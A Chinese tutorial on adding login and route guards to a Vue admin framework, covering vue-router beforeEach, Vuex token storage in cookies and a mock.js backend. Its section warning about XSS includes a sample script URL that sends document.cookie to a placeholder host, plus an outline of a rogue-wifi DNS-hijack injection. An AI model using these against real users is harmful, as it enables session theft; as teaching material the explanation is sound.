《一步步帶你做vue后臺管理框架》——登錄功能

系列教程《一步步帶你做vue后臺管理框架》第三課

github地址:vue-framework-wz
線上體驗地址:立即體驗

《一步步帶你做vue后臺管理框架》第一課:介紹框架
《一步步帶你做vue后臺管理框架》第二課:上手使用
《一步步帶你做vue后臺管理框架》第三課:登錄功能

認證簡介

認證又稱“驗證”、“鑒權”,是指通過一定的手段,完成對用戶身份的確認。身份驗證的方法有很多,基本上可分為:基于共享密鑰的身份驗證、基于生物學特征的身份驗證和基于公開密鑰加密算法的身份驗證。

登錄鑒權功能是后臺管理項目的基本需求,登錄控制,權限分配,這些都是很普遍的功能。 在框架中已經做好了這部分的工作,我們來了解一下是怎么做的,對以后在框架的基礎上做改進是有很大的幫助的。

Passport

在此之前思考過很多種方法去做登錄功能,一種比較靠譜的方法是用一個Node服務端,利用Node+express+passport的技術棧

Passport項目是一個基于Nodejs的認證中間件,支持本地登錄和第三方賬號登錄驗證。Passport目的只是為了“登陸認證”,因此,代碼干凈,易維護,可以方便地集成到其他的應用中。

Web應用一般有2種登陸認證的形式:

  • 用戶名和密碼認證登陸
  • OAuth認證登陸

Passport可以根據應用程序的特點,配置不同的認證機制。
  項目網站:http://passportjs.org/

Passport是十分強大的,這個技術棧也是非常靠譜的,但是我們就一個純前端框架,需要再做一個Node的服務端嗎?維護起來顯然增加了我們的負擔

況且違背了Unix哲學的'簡單原則'----盡量用簡單的方法解決問題----是'Unix哲學'的根本原則。這也就是著名的KISS(keep it simple, stupid),意思是'保持簡單和笨拙'。。

既然這樣不太好,那就使用單頁應用強大的路由來做登錄。

vue-router

如果對vue-router還不熟悉的同學一定要找尤大大課后開小灶了
官方文檔:vue-router

你可以使用

 router.beforeEach

注冊一個全局的 before 鉤子:

const router = new VueRouter({ ... })router.beforeEach((to, from, next) => { // ...})

當一個導航觸發時,全局的 before 鉤子按照創建順序調用。鉤子是異步解析執行,此時導航在所有鉤子 resolve 完之前一直處于 等待中。

每個鉤子方法接收三個參數:

to: Route: 即將要進入的目標 [路由對象]

from: Route: 當前導航正要離開的路由

next: Function: 一定要調用該方法來 resolve 這個鉤子。執行效果依賴 next 方法的調用參數。

    next(): 進行管道中的下一個鉤子。如果全部鉤子執行完了,則導航的狀態就是 confirmed (確認的)。

    next(false): 中斷當前的導航。如果瀏覽器的 URL 改變了(可能是用戶手動或者瀏覽器后退按鈕),那么 URL 地址會重置到 from路由對應的地址。

    next('/')或者 next({ path: '/' }): 跳轉到一個不同的地址。當前的導航被中斷,然后進行一個新的導航。

  確保要調用 next 方法,否則鉤子就不會被 resolved。

所以wz框架采用的方式是使用vue router.beforeEach 攔截導航,判斷登錄與否和是否有權限,選擇完成繼續跳轉或重定向到登錄界面。

這篇教程分為兩部分一部分講登錄,另一部分講權限驗證,因為篇幅太長所以需要用兩篇來寫。

登錄流程

在客戶端發送賬號密碼到服務端,服務端驗證成功后返回token存儲用戶的權限,前端用Cookie把token存儲在本地,在路由跳轉(router.beforeEach)中判斷是否存在token,另外前端可以通過token請求服務端獲取userInfo,在vuex中存儲著用戶的信息(用戶名,頭像,注冊時間等等)。

權限控制

就是在路由跳轉(router.beforeEach)中判斷token中的權限和要去往(to)頁面的路由信息(router meta)中配置的權限是否匹配,同時我們的側邊欄也是根據權限動態生成的,當所登錄的賬號沒有權限訪問時,就不顯示在側邊欄中(例如訪客登錄就無法看到編輯器的側邊欄選項),這樣用戶既看不到側邊欄選項,又無法直接訪問到,雙重控制更安全。

登錄界面只有兩個輸入框,因為不是對外網站所以就沒做注冊功能。


login.vue

首先來看登錄界面login.vue的邏輯。

src/views/login/index.vue

使用了iview的form表單,

autoComplete屬性是自動填充默認值到輸入框里,這里是用戶名amdin@wz.com,

@keyup.enter.native="handleLogin"屬性,當按下enter鍵時會自動觸發handleLogin函數,不需要再點擊登錄按鈕,符合日常登錄習慣。
當輸入賬號密碼點擊登錄按鈕會觸發handleLogin函數。
src/views/login/index.vue

其中的邏輯是,獲取頁面表單中的數據(賬號密碼)通過表格validate驗證正確性,依照的規范就是我們在data屬性中定義的。

 data() {
        const validateEmail = (rule, value, callback) => {
          if (!isWscnEmail(value)) {
            //export function isWscnEmail(str) {
            //const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i;
            //return reg.test(str.trim());
            //}
            callback(new Error('請輸入正確的合法郵箱'));
          } else {
            callback();
          }
        };
        const validatePass = (rule, value, callback) => {
          if (value.length < 6) {
            callback(new Error('密碼不能小于6位'));
          } else {
            callback();
          }
        };
        return {
          loginForm: {
            email: 'admin@wz.com',
            password: ''
          },
          loginRules: {
            email: [
                { required: true, trigger: 'blur', validator: validateEmail }
            ],
            password: [
                { required: true, trigger: 'blur', validator: validatePass }
            ]
          },
          loading: false,
          showDialog: false
        }
      },

賬號密碼必須填寫,密碼不能小于6位,賬號必須是以wz.com結尾的電子郵箱地址, 或者可以定義更嚴密的規范。
如果不遵守制定的規范,將會無法登陸。

千萬不要相信用戶的輸入!千萬不要相信用戶的輸入!千萬不要相信用戶的輸入!

除非你想遭受XSS攻擊

如果有同學還不了解什么是XSS攻擊,那么一定要趕快去了解。
下面敲黑板了!劃重點!

XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種類型的漏洞由于被黑客用來編寫危害性更大的網絡釣魚(Phishing)攻擊而變得廣為人知。對于跨站腳本攻擊,黑客界共識是:跨站腳本攻擊是新型的“緩沖區溢出攻擊“,而JavaScript是新型的“ShellCode”。

其重點是“跨域”和“客戶端執行”。有人將XSS攻擊分為三種,分別是:

  1. Reflected XSS(基于反射的XSS攻擊)
  2. Stored XSS(基于存儲的XSS攻擊)
  3. DOM-based or local XSS(基于DOM或本地的XSS攻擊)

Reflected XSS
基于反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。
例子:

  1. 做個假設,在淘寶搜索書籍,搜不到書的時候顯示提交的名稱。
  2. 在搜索框搜索內容,填入<script>alert('handsome boy')</script>, 點擊搜索。
  3. 當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。
  4. 進而可以構造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

Stored XSS
基于存儲的XSS攻擊,是通過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每個訪問該帖子/文章的人就會觸發執行。
例子:

  1. 發一篇文章,里面包含了惡意腳本
    今天天氣不錯?。?code><script>alert('handsome boy')</script>

  2. 后端沒有對文章進行過濾,直接保存文章內容到數據庫。

  3. 當其他看這篇文章的時候,包含的惡意腳本就會執行。
    PS:因為大部分文章是保存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。

DOM-based or local XSS
基于DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在于頁面,無須經過服務器返回就是基于本地的XSS攻擊。
例子:

  1. 提供一個免費的wifi。
  2. 開啟一個特殊的DNS服務,將所有域名都解析到我們的電腦上,并把Wifi的DHCP-DNS設置為我們的電腦IP。
  3. 之后連上wifi的用戶打開任何網站,請求都將被我們截取到。我們根據http頭中的host字段來轉發到真正服務器上。
  4. 收到服務器返回的數據之后,我們就可以實現網頁腳本的注入,并返回給用戶。
  5. 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的常用腳本庫。

所以一定要對用戶的輸入做一個過濾。否則后臺都被別人給黑了,老板不炒你魷魚才怪。
當我們輸入不正確的賬號密碼時將會自動驗證(輸入完立即驗證而不是等到點擊登錄才驗證),如果不正確將無法登錄。



如果符合驗證規則,則會觸發vuex中的LoginByEmail

src/store/modules/user.js

import { loginByEmail, logout, getInfo } from 'api/login';

 LoginByEmail({ commit }, userInfo) {
      const email = userInfo.email.trim();
      return new Promise((resolve, reject) => {
        loginByEmail(email, userInfo.password).then(response => {
          const data = response.data;
          console.log(response.data);
          Cookies.set('Admin-Token', response.data.token);
          commit('SET_TOKEN', data.token);
          commit('SET_EMAIL', email);
          resolve();
        }).catch(error => {
          reject(error);
        });
      });
    },

把email和password發送到服務器,接受返回來的數據,將token存入 Cookies,并觸發vuex SET_TOKEN及SET_EMAIL事件,存入到vuex全局狀態里。
src/api/login.js loginByEmail

export function loginByEmail(email, password) {
  const data = {
    email,
    password
  };
  return fetch({
    url: '/login/loginbyemail',
    method: 'post',
    data
  });
}

發送fetch請求到指定的url。這里的url是本地服務器的地址,本項目因為是純前端項目,所以使用了 mock.js。
有了這個插件,前端就可以獨立后端開發。

Mock.mock(/\/login\/loginbyemail/, 'post', loginAPI.loginByEmail);

在mock.js中這行代碼截獲了所有/login/loginbyemail 路徑的請求,使用loginAPI.loginByEmail處理這個請求

const userMap = {
  admin: {
    role: ['admin'],
    token: 'admin',
    introduction: '我是超級管理員',
    name: 'Super Admin',
    uid: '001'
  },
  editor: {
    role: ['editor'],
    token: 'editor',
    introduction: '我是編輯',
    name: 'Normal Editor',
    uid: '002'


  },
  developer: {
    role: ['develop'],
    token: 'develop',
    introduction: '我是開發',
    name: '工程師小王',
    uid: '003'
  }
}

export default {
  loginByEmail: config => {
    const { email } = JSON.parse(config.body);
      return userMap[email.split('@')[0]];
  },
  getInfo: config => {
    const { token } = param2Obj(config.url);
    if (userMap[token]) {
      return userMap[token];
    } else {
      return Promise.reject('a');
    }
  },
  logout: () => 'success'
};

可以看到loginByEmail的作用是把賬戶信息返回前端,例如一個用戶是管理員,就把匹配到的admin的賬戶信息返回去。
當得到了admin的賬戶信息,就把它存儲在cookie里
Cookies.set('Admin-Token', response.data.token);

這樣一來在login.js中判斷token是否存在,如果存在token,就繼續路由跳轉,如果不存在,就跳轉到登錄界面。
src/login.js

router.beforeEach((to, from, next) => {
  NProgress.start() // 開啟Progress
  if (store.getters.token) { // 判斷是否有token,從vuex中取出
    if (to.path === '/login') {
      next({ path: '/' })
    } else {
      if (store.getters.roles.length === 0) { // 判斷當前用戶是否已拉取完user_info信息
        store.dispatch('GetInfo').then(res => { // 拉取user_info
          const roles = res.data.role
          store.dispatch('GenerateRoutes', { roles }).then(() => { // 生成可訪問的路由表
            router.addRoutes(store.getters.addRouters) // 動態添加可訪問路由表
            next({ ...to }) // hack方法 確保addRoutes已完成
          })
        }).catch(() => {
          store.dispatch('FedLogOut').then(() => {
            next({ path: '/login' })
          })
        })
      } else {
        // 沒有動態改變權限的需求可直接next() 刪除下方權限判斷 ↓
        if (hasPermission(store.getters.roles, to.meta.role)) {
          next()//
        } else {
          next({ path: '/', query: { noGoBack: true }})
        }
        // 可刪 ↑
      }
    }
  } else {
    if (whiteList.indexOf(to.path) !== -1) { // 在免登錄白名單,直接進入
      next()
    } else {
      next('/login') // 否則全部重定向到登錄頁
      NProgress.done() // 在hash模式下 改變手動改變hash 重定向回來 不會觸發afterEach 暫時hack方案 ps:history模式下無問題,可刪除該行!
    }
  }
})

src/store/modules/user.js

vuex中是這樣定義的,相當于直接Cookies.get(),為什么要分開呢?顯然是為了模塊化,方便日后改動項目。

const user = {
  state: {
    user: '',
    status: '',
    email: '',
    code: '',
    uid: undefined,
    auth_type: '',
    token: Cookies.get('Admin-Token'),
    name: '',
    avatar: '',
    introduction: '',
    roles: [],
    setting: {
      articlePlatform: []
    }
  },

vuex會從cookies里面取得token的值,這樣就能通過驗證去往路由的下個頁面。

大家有什么問題最好去我github提issues,文章評論評論較長時間才查看一次。

接下來的教程講一下封裝UI組件、router、webpack、node命令行構建工具等內容。
希望大家看了這系列教程都能制作出自己的前端框架,從而在工作中得心應手。

如果喜歡就點個start鼓勵下作者吧。

github地址:vue-framework-wz
線上體驗地址:立即體驗

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,117評論 6 537
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,860評論 3 423
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事?!?“怎么了?”我有些...
    開封第一講書人閱讀 177,128評論 0 381
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,291評論 1 315
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,025評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,421評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,477評論 3 444
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,642評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,177評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,970評論 3 356
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,157評論 1 371
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,717評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,410評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,821評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,053評論 1 289
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,896評論 3 395
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,157評論 2 375

推薦閱讀更多精彩內容

  • 完整項目地址:vue-element-admin系類文章一:手摸手,帶你用vue擼后臺 系列一(基礎篇) 前言 拖...
    7cd975786ccd閱讀 10,753評論 4 65
  • 在那個我認為一切都不好的校園里,我帶著暗淡憂傷在那生活下去,沒有任何打動著我,每天都重復一樣的事情,我厭倦了...
    無傷sa閱讀 308評論 1 0
  • 你愛的人也是凡人,你的喜歡為他渡上金身。 我在微博上面看到過這句話,我一直都沒有忘記,除了詞句之美之外,我還有一點...
    蘇敘閱讀 230評論 4 11
  • 這篇發給那些上課不好好記筆記的同學們,留作復習用。 筆記 這些筆記都是我一邊聽一邊記,然后再一個字一個字打上來的。...
    大帥拳霸閱讀 648評論 0 0